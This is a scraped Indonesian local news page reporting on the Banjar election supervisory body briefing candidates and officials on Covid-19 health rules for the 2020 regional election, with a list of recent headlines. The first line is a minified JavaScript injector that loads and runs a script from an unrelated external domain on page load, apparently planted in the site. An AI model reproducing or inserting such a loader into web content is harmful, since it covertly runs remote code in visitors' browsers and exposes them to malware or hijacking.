(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJAR

Cegah Klaster Covid-19 di Pilkada Banjar, Bawaslu Ingatkan Paslon Taati Aturan Main!


KANALKALIMANTAN.COM,MARTAPURA – Mencegah munculnya kluster Covid-19 di Pilkada, Bawaslu Banjar mengundang sejumlah pihak guna mensosialisasi sejumlah aturan hukum pelaksanaan Pilkada di masa Covid-19, di Tree Park Hotel, Selasa (6/10/2020).

Aacara dihadiri mulai Satpol PP, Kejaksaan Negeri Banjar, Polres Banjar, Kodim 1006/ Martapura, Kesbangpol, mahasiswa, hingga perwakilan tim pemenangan Paslon Pilkada Banjar.

Ketua Bawaslu Banjar Fajeri Tamjidillah, mengatakan, rapat sosialisasi ini adalah membahas aturan yang berlaku terkait penegakan disiplin protokol kesehatan di Pilkada 2020. Harapannya, peserta yang hadir juga bisa mensosialisasikan ke masyarkat dan paslon.

Sejumlah landasan hukum terkait pelaksanaan Pilkada di masa Covid-19 berpedoman pada Perbup Banjar Nomor 10 Tahun 2020, Peraturan Komisi Pemilihan Umum (PKPU) 13 Tahun 2020, Perturan Badan Pengawas Pemilu (Perbawaslu) 8 Tahun 2020, yang mengatur penerapan protokol kesehatan di pandemi covid 19.

“Harus disadari Pilkada tahun 2020 ini selain mengutamakan kepengawasan juga mengutamakan kesehatan bagi peserta Pilkada, pelaksana dan masyarakat,” katanya.

Divisi Hukum, Humas dan Data Informasi Bawaslu Rizki Wijaya menambahkan, sosilisasi ini harapannya dapat memahami mengenai regulasi Peraturan Badan Pengawas Pemilu terkait pengawasan tahapan Pilkada saat pandemi Covid-19.

“Apabila melanggar dalam peraturan yang sudah ditetapkan, Paslon akan diberikan sanksi mulai peringatan tertulis hingga pembubaran kampanye,” tambahnya. Ia juga menuturkan, saat ini para Paslon sudah memberikan komunikasi terkait jadwal pelaksanan kampanye.

Di sisi lain, Juru Bicara Gugus Tugas Percepatan Penanganan Covid-19 Kab. Banjar dr Diaudin mengatakan, pentingnya kedisipilinan protokol kesehatandi Pilkada.

“Pilkada tengah Pandemi covid-19 harus mematuhi Protokol Kesehatan covid-19, agar tidak terjadi kluster penyebaran Covid-19 di Pilkada,” terangnya.(Kanalkalimantan.com/putra)

 

Reporter: Putra
Editor: Cell


Desy Arfianty

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

6 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

7 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

7 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

11 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

13 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

13 jam ago

This website uses cookies.